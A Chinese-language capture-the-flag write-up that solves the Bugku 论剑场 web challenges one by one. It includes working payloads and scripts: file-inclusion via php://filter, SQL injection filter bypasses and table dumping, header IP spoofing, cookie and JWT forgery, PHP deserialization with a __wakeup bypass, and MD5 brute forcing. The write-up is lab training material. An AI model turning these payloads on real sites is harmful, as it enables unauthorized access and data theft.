新版Bugku-论剑场-Web部分writeup

Web1(代码审计)

file_get_content不仅可以读取文件,还可以读取只读流:php://input
构造Payload:

Web2(数据提交)

发现需要在3s计算出一个表达式的结果,直接计算不太现实,可以尝试使用Python脚本:

#coding=utf-8
import requests
import re
url="http://*.*.*.*/"
s=requests.Session()#创建会话
rul=re.compile('\d(.*?)\)')#匹配规则
text = re.search(rul,s.get(url).text)
if text:
exp=text.group()#匹配到结果
res=eval(exp)#计算表达式
data={"result":res}
print(s.post(url,data=data).text)#提交

Web3(文件包含)

最开始一直以为是文件上传漏洞,发现是判断文件的MIME类型,不管上传什么类型文件,只要修改Content-Type为:image/png就可以实现绕过,服务端收到文件后会基于某个规则重命名文件名,然后然后在每个文件后面添加.png拓展名,尝试上传一句话,发现能上传成功的只有png文件,经过测试发现服务端并不能解析png文件,无法使用菜刀连接,然后挣扎了好久,发现仅仅使用文件上传获得webshell找不到方法。观察url发现:在URL里面有个op参数,可能含有文件包含操作,尝试使用php://filter读取源码:构造payload:
http://ip/?op=php://filter/read/convert.base64-encode/resource=flag
读取flag,最开始我是读取的index.php内容,但是发现一旦加上.php就会提示no such page,之后删除.php,发现读取成功。

Web4(Sql注入)

进入页面,猜测就是sql注入,直接使用sqlmap跑,发现中途提示有个302重定向:
访问链接得到URL。
当然也可以手注, 使用or在密码栏构造恒成立语句,payload:' or '1'='1 成功绕过。

Web5(暂时没法做)

Web6(IP伪造+暴力破解)

进入是个登录页面:

随便输入,提示ip禁止访问,再加上本地管理员,想到伪造ip:X-Forwarded-For和Client-Ip,经过测试发现伪造X-Forwarded-For为本地ip可通过:
然后发现注释有个base64编码提示,解码为test123,猜测可能为用户名或者密码,最后发现是密码,用户名为admin可得到flag。

Web7(Cookie伪造)

主页是一个登录页面,先尝试随意登录,使用账号admin:password

提示用户权限不够,之前标题是给你一些小饼干,猜测和cookie有关,抓包查看cookie:
发现r和u,应该对应的用户名和密码,但是位数不对,发现两个前面都有共同字符串:351e766803,去除这个字符串,对剩下的字符串进行md5解密:(推荐网站https://www.somd5.com/https://www.cmd5.com/两个可以交叉使用)

因为提示权限问题,将第一个cookie修改为admin的md5值:
成功得到flag

Web8(暂未更新)

Web9(PUT方法提交数据)

进入页面发现提示:

要求使用PUT方法提交数据,抓包修改:
注意修改content-type的类型值。
application/x-www-form-urlencoded主要用于表单提交,在http请求中,ContentType都是默认的值 application/x-www-form-urlencoded。

Web10(JWT)

查看源代码发现提示:

这种只有大写字母和数字2-7的很像Base21,尝试使用Base32解密:

使用kk:kk123进行登录:

使用vim崩溃的话,应该会残留swp文件,在主页后面的文件加上swp:
成功下载swp文件后到虚拟机使用vi -r命令恢复,恢复的代码如下:
<html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<title>在线日记本</title>
<form action="" method="POST">
  <p>username: <input type="text" name="username" /></p>
  <p>password: <input type="password" name="password" /></p>
  <input type="submit" value="login" />
</form>
<!--hint:NNVTU23LGEZDG===-->
</html>
<?php
    error_reporting(0);
    require_once 'src/JWT.php';

    const KEY = 'L3yx----++++----';

    function loginkk()
    {
        $time = time();
        $token = [
          'iss'=>'L3yx',
          'iat'=>$time,
          'exp'=>$time+5,
          'account'=>'kk'
        ];
        $jwt = \Firebase\JWT\JWT::encode($token,KEY);
        setcookie("token",$jwt);
        header("location:user.php");
    }

    if(isset($_POST['username']) && isset($_POST['password']) && $_POST['username']!='' && $_POST['password']!='')
    {
        if($_POST['username']=='kk' && $_POST['password']=='kk123')
        {
            loginkk();
        }
        else
        {
            echo "账号或密码错误";
        }
    }
?> 

想简单了解一下jwt的童鞋,可参考文章10分钟了解JSON Web令牌从代码可知道JWT的key,payload,所以可以通过脚本构造账号为L3yx的JWT:

#coding=utf-8
import requests
import re
import time
import json
import math
import hashlib
import base64
import hmac

def baseURL(date,flag=1):      #flag表示传入的是bytes类型还是字符串类型,1表示字符串
        if(flag):
                bs = base64.b64encode(date.encode("utf-8")) # 将字符为unicode编码转换为utf-8编码
        else:
                bs=base64.b64encode(date)
        bs=bs.decode('utf-8')
        bs=bs.replace('+','-')
        bs=bs.replace('/','_')
        bs=bs.replace('=','')
        return bs

url="http://*.*.*.*/user.php"
s=requests.session()
header={
        "typ":"JWT",
        "alg":"HS256"
}       

iat=math.trunc(time.time())             #将时间戳转换为整数
payloads={
        "iss":"L3yx",
        "iat":iat,
        "exp":iat+5,
        "account":"L3yx"
}

res=baseURL(json.dumps(header))+"."+baseURL(json.dumps(payloads))       #将字典转换位json对象,并用Base64Url加密
hs=hmac.new(b'L3yx----++++----',res.encode(),digestmod=hashlib.sha256)  #使用Hmac Sha256进行加密(注意函数需要的类型为byes)
sign=baseURL(hs.digest(),0)

token=res+"."+sign
cookies={'token':token}
req=s.get(url,cookies=cookies)

rul=re.compile('flag')  #查找是否有flag
text = re.search(rul,req.text)
if text:
        print(req.text)

因为时间差异可能需要多提交几次:

Web11(robots.txt文件+hash碰撞)

进入页面+查看源代码没发现什么信息,发现网页标签名字叫robots,尝试访问robots.txt:



发现shell.php,访问发现要求输入字符串的md5前6位为后面随机变化的数值:



利用python脚本:
#coding=utf-8
import requests
import hashlib
import re

url="http://*.*.*.*/shell.php"
s=requests.session()
val=s.get(url)
#val.encoding='utf-8'
#print(val.text)
rul=re.compile('= (.*?)<')#匹配规则
res=re.search(rul,val.text)
if res:
    tm=res.group().strip("= <")#获取结果并去除多余的符号
    for i in range(1,100000000):
        m=hashlib.md5()
        b = str(i).encode(encoding='utf-8')
        m.update(b)
        mate = m.hexdigest()
        if(mate[:6]==tm):
            print(s.get(url+"?password="+str(i)).text)
            break

Web12(代码审计+反序列化)

进入页面,通过查看源代码获取代码。

if(isset($_GET['rua'])){    
    $rua = $_GET['rua'];    
    @unserialize($rua);    
}

首先要有参数rua,然后需要传递序列化串,关于序列化和反序列化的使用可参照:https://www.cnblogs.com/youyoui/p/8610068.html

function __wakeup(){    
        $this->password = 1; echo 'hello hacker,I have changed your password and time, rua!';    
}

因为反序列化后会先看书否有__wakeup函数,这里的__wakeup函数是设置password为1,也就是说我们无论传递password值为多少,最后都为1(补充说一下:函数部分有__construct函数,在反序列化时是不会自动调用的,在新建对象时会调用)

function __destruct(){    
        if(!empty($this->password))    
        {    
            if(strcmp($this->password,$this->truepassword)==0){    
                echo "<h1>Welcome,you need to wait......<br>The flag will become soon....</h1><br>";    
                if(!empty($this->time)){    
                    if(!is_numeric($this->time)){    
                        echo 'Sorry.<br>';    
                        show_source(__FILE__);    
                    }    
                    else if($this->time < 11 * 22 * 33 * 44 * 55 * 66){    
                        echo 'you need a bigger time.<br>';    
                    }    
                    else if($this->time > 66 * 55 * 44 * 33 * 23 * 11){    
                        echo 'you need a smaller time.<br>';    
                    }    
                    else{    
                        sleep((int)$this->time);    
                        var_dump($this->flag);    
                    }    
                    echo '<hr>';    
                }    
                else{    
                    echo '<h1>you have no time!!!!!</h1><br>';    
                }    
            }    
            else{    
                echo '<h1>Password is wrong............</h1><br>';    
            }    
        }    
        else{    
            echo "<h1>Please input password..........</h1><br>";    
        }    
    }

从上述代码可知,会比较传递的password和truepassword的值,因为不知道truepassword为多少,所以可以通过传递truepassword将truepassword修改为1,然后就是判断time,首先第一个要求是利用is_numeric判断参数值,为true的情况有:数字和数字字符串(包括16进制和8进制,以及以科学计数法的字符串,比如“1e5”,0x开头的字符串,注意以0开头表示8进制的数字字符串会被当成10进制数字字符串),假如传递的为范围内,即1275523920-1333502280之间的纯数字,那么下面的sleep函数过后才能出flag,,,所以需要传递数字字符串,字符串在转为int时,如果首位为0,int值就为0,所以传递范围间的16进制数,我选择的是:1275523930,其16进制为4c06f35a
所以构造payload:
http://.../index.php?
rua=O:4:%22Time%22:3:{s:12:%22truepassword%22;i:1;s:4:%22time%22;s:10:%220x4c06f35a%22;s:8:%22password%22;s:1:%22a%22;}
得到flag:

Web13(利用脚本快速提交)

首先查看源代码和尝试登陆没发现有用的信息,然后抓包:



发现给出了Password字段,解密为:flag{32de1e4dd00f706c19cde1f78392c22f}
在输入框提交32de1e4dd00f706c19cde1f78392c22f,提交后出来提示:



要求提交速度要快,尝试利用脚本解决:
#encoding=utf-8
import requests
import base64
import re

url='http://*.*.*.*/index.php'
s=requests.session()
headers=s.post(url,data={'password':'123456'}).headers
mid=base64.b64decode(headers['Password'])
mid=mid.decode()
rul=re.compile('{(.*?)}')
res=re.search(rul,mid)
if res:
    str=res.group().strip('{}')
    print(s.post(url,data={'password':str}).text)

Web14(Git泄露)

进入页面,查看源代码可发现提示



先后尝试了robots.txt以及御剑扫描还有可能存在的备份文件,都没有找到有用的信息。然后在我查找有关备份信息的时候发现有个Kali工具:nikto,具体信息不多说网上都有



OK,找到突破口,Git泄露,使用GitHack工具下载文件

然后打开flag.php。

Web15(swp)

先尝试提交数据,抓包:



发现提示:



hint为16进制字符串-先将其转换为ASC-Base32解码-Base64解码:

提交发现还是不对,页面一直提示不是这里,再加上访问index.php是302不是404,所以在index.php尝试提交:


Web16(代码审计+修改cookie)

最开始通过抓包之类的没有发现有用的信息,然后发现源文件里面有个script.js文件,在浏览器控制台将eval换成alert:



整理获取到的代码:

function getCookie(cname){  //获取cookie值
    var name=cname+"=";
    var ca=document.cookie.split(';');
    for(var i=0;i<ca.length;i++){
        var c=ca[i].trim();
        if(c.indexOf(name)==0)
            return c.substring(name.length,c.length)
    }
    return"";
}
function decode_create(temp){       //加密算法
    var base=new Base64();
    var result=base.decode(temp);
    var result3="";
    for(i=0;i<result.length;i++){
        var num=result[i].charCodeAt();     //charCodeAt() 方法可返回指定位置的字符的 Unicode 编码
        num=num^i;
        num=num-((i%10)+2);
        result3+=String.fromCharCode(num)   //fromCharCode() 可接受一个指定的 Unicode 值,然后返回一个字符串。
    }
    return result3;
}
function ertqwe(){
    var temp_name="user";
    var temp=getCookie(temp_name);
    temp=decodeURIComponent(temp);
    var mingwen=decode_create(temp);
    var ca=mingwen.split(';');
    var key="";
    for(i=0;i<ca.length;i++){
        if(-1<ca[i].indexOf("flag")){
            key=ca[i+1].split(":")[2]}
        }
        key=key.replace('"',"").replace('"',"");
        document.write('<img id="attack-1" src="image/1-1.jpg">');
        setTimeout(function(){document.getElementById("attack-1").src="image/1-2.jpg"},1000);
        setTimeout(function(){document.getElementById("attack-1").src="image/1-3.jpg"},2000);
        setTimeout(function(){document.getElementById("attack-1").src="image/1-4.jpg"},3000);
        setTimeout(function(){document.getElementById("attack-1").src="image/6.png"},4000);
        setTimeout(function(){alert("你使用如来神掌打败了蒙老魔,但不知道是真身还是假身,提交试一下吧!flag{"+md5(key)+"}")},5000);
}

将最后一个方法的方法名称去掉,复制到浏览器执行:

通过访问wulin.php,可发现出题人的彩蛋,可验证flag,提交flag失败,然后输出mingwen发现使用了序列化对象
然后我们需要做的就是修改money-逆向加密打包-修改cookie值,首先依据解密函数,可写出加密函数
function encode_create(temp){       //加密算法
    var result3="";
    for(i=0;i<temp.length;i++){
        var num=temp[i].charCodeAt();
        num=num+((i%10)+2);
        num=num^i;
        result3+=String.fromCharCode(num);
    }
    var base=new Base64();  
    var result=base.encode(result3);
    return result;
}

使用函数发现,对原序列字符串加密的结果与原字符串不同,可能Base64函数有问题,发现decode函数注释掉了一行代码

,encode函数却有utf-8的加密,
,所以可以注释掉encode函数中的input=_utf8_encode(input),然后修改数据,加密
,最后修改cookie(可通过插件修改,或者通过控制台document.cookie='user=....')

然后就买买买,打Boss,最后得flag。

Web18(SQL注入)

首先找到注入点,点击lis发现url里面有个id值,添加'页面内容出错,

然后添加注释--+(+url编码表示空格),发现页面内容正常,存在注入点
测试发现过滤了or、and、select、union,尝试双写可以成功绕过,然后就是手注过程,先判断列数,可以使用union select也可以使用order by判断,经判断列数为3,然后爆数据库:

http://*/list.php?id=0'ununionion selecselectt 1,2,database()--+

然后爆表:

http://*/list.php?id=0' ununionion selecselectt 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='web18'--+ (也可将'web18'改为database())

然后爆字段

http://*/list.php?id=0' ununionion selecselectt 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='flag'--+

然后爆字段值

http://*/list.php?id=0' ununionion selecselectt 1,2,flag from flag--+

Web19(未完成)

进入页面,查看源代码和抓包未发现有用信息,然后尝试敏感目录扫描(可以使用御剑和kali的工具nikto)

发现有config.php,还发现存在git泄露,利用GitHack工具,下载发现flag.txt,打开得到提示
---不知道啥意思

Web20(动态提交)

访问页面,发现提示:

利用脚本提交:

#coding=utf-8
import requests
import re

url="http://*.*.*.*:10020/"
s=requests.session()
rul=re.compile('[a-zA-Z0-9](.*)[0-9]')
val=s.get(url)
res=re.search(rul,val.text)
if res:
    print(res.group())
    url=url+"index.php?key="+res.group()
    print(url)
    data={'key':res.group()}
    print(s.get(url).text)

Web21(php伪协议+反序列化)

进入,查看源代码发现提示:

将参数user值作为打开的文件名字,并看文件内容是否为admin,然后利用文件包含读取源代码,首先关于是否为admin的判断,这里我所知的有两种方法可以实现:
1.在自己的服务器建立一个内容为admin的文件,然后在user输入文件地址:
2.利用php伪协议,file_get_contents是可以处理php://input只读流的

第一步判断完成后再利用文件包含使用php伪协议读取源码的base64加密数据,使用php://filter协议
分别读取class.php和index.php,内容如下

//index.php
<?php
error_reporting(E_ALL & ~E_NOTICE);
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
 
if(isset($user)&&(file_get_contents($user,'r')==="admin")){
    echo "hello admin!<br>";
    if(preg_match("/f1a9/",$file)){
        exit();
    }else{
        include($file); //class.php
        $pass = unserialize($pass);
        echo $pass;
    }
}else{
    echo "you are not admin ! ";
}
 
?>
 
<!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
 
if(isset($user)&&(file_get_contents($user,'r')==="admin")){
    echo "hello admin!<br>";
    include($file); //class.php
}else{
    echo "you are not admin ! ";
}
class.php
<?php
error_reporting(E_ALL & ~E_NOTICE);
 
class Read{//f1a9.php
    public $file;
    public function __toString(){
        if(isset($this->file)){
            echo file_get_contents($this->file);    
        }
        return "__toString was called!";
    }
}
?>

通过代码分析可知需要利用反序列化读取f1a9.php,构造payload:pass=O:4:"Read":1:{s:4:"file";s:8:"f1a9.php";}

Web22(有问题)

Web23(验证码绕过)

进入查看源代码未发现提示,扫描目录发现文件:

然后访问readme.txt发现提示
访问1.png发现验证码漏洞提示,可通过设置PHPSESSID为空,并且验证码为空来进行绕过,使用Burp进行暴力破解:

Web24(代码审计-PHP反序列化)

进入页面发现是商城的展示页面,发现所有的链接都不能点,F12发现提示:

然后访问发现代码:
分析发现:
1.将获取到的var的base64值进行解码;

2.反序列化,调用__wakeup函数,并且不会自动调用__construct函数;
3.调用__destruct函数;
根据提示可知获取flag的关键在于__destruct处理的$this->file值是否为the_f1ag.php,而__wakeup函数会将变量值设置为index.php,所以先绕过__wakeup函数

当序列化字符串中,表示对象属性个数的值大于实际属性个数时,那么就会跳过wakeup方法的执行。举个栗子,比如有个Student类,里面有个参数为name。
实际情况:O:7:”Student”:1:{S:4:”name”;s:8:”zhangsan”;}
Payload:O:7:”Student”:2:{S:4:”name”;s:8:”zhangsan”;}
Payload对象属性个数为2,而实际属性个数为1,那么就会掉入漏洞,从而跳过wakeup()方法。

构造payload:
var=TzoxODoiU21hbGxfd2hpdGVfcmFiYml0IjoyOntzOjI0OiIAU21hbGxfd2hpdGVfcmFiYml0AGZpbGUiO3M6MTI6InRoZV9mMWFnLnBocCI7fQ==

然后还有一点需要需要注意的是,class内的file变量属性为私有属性,需要反序列化私有对象需要特殊格式(可参考:反序列化注意事项)

Web25(敏感目录+字典遍历)

进入页面发现有个下载链接,然后点击发现有个下载字典的连接,但是点击提示404

然后开始尝试遍历后面的ziidan.txt文件名称,发现失败,之后删除2那个目录,在进行尝试,成功,获取到ziidan.txt的内容:
在主页面进行遍历提交发现失败,然后尝试使用敏感目录扫描,发现shell.php
访问再进行遍历

成功:

Web26()

Web27(XXE-未完成)

关于xxe不太了解的童鞋,可以参看文章xxe漏洞攻防学习,基于文章的基础上,构造payload,读取源码

都未发现什么有用信息。

流量分析

下载压缩包,解压,用wireshark打开:

然后选择TCP流,右键追踪TCP流
可获得flag

日志审计

下载文件,使用notepad++打开,查找关键字flag,发现sqlmap对flag.php的爆破记录:

分析可获取flag

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 205,386评论 6 479
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 87,939评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 151,851评论 0 341
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,953评论 1 278
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,971评论 5 369
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,784评论 1 283
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,126评论 3 399
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,765评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 43,148评论 1 300
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,744评论 2 323
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,858评论 1 333
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,479评论 4 322
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,080评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,053评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,278评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,245评论 2 352
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,590评论 2 343

推荐阅读更多精彩内容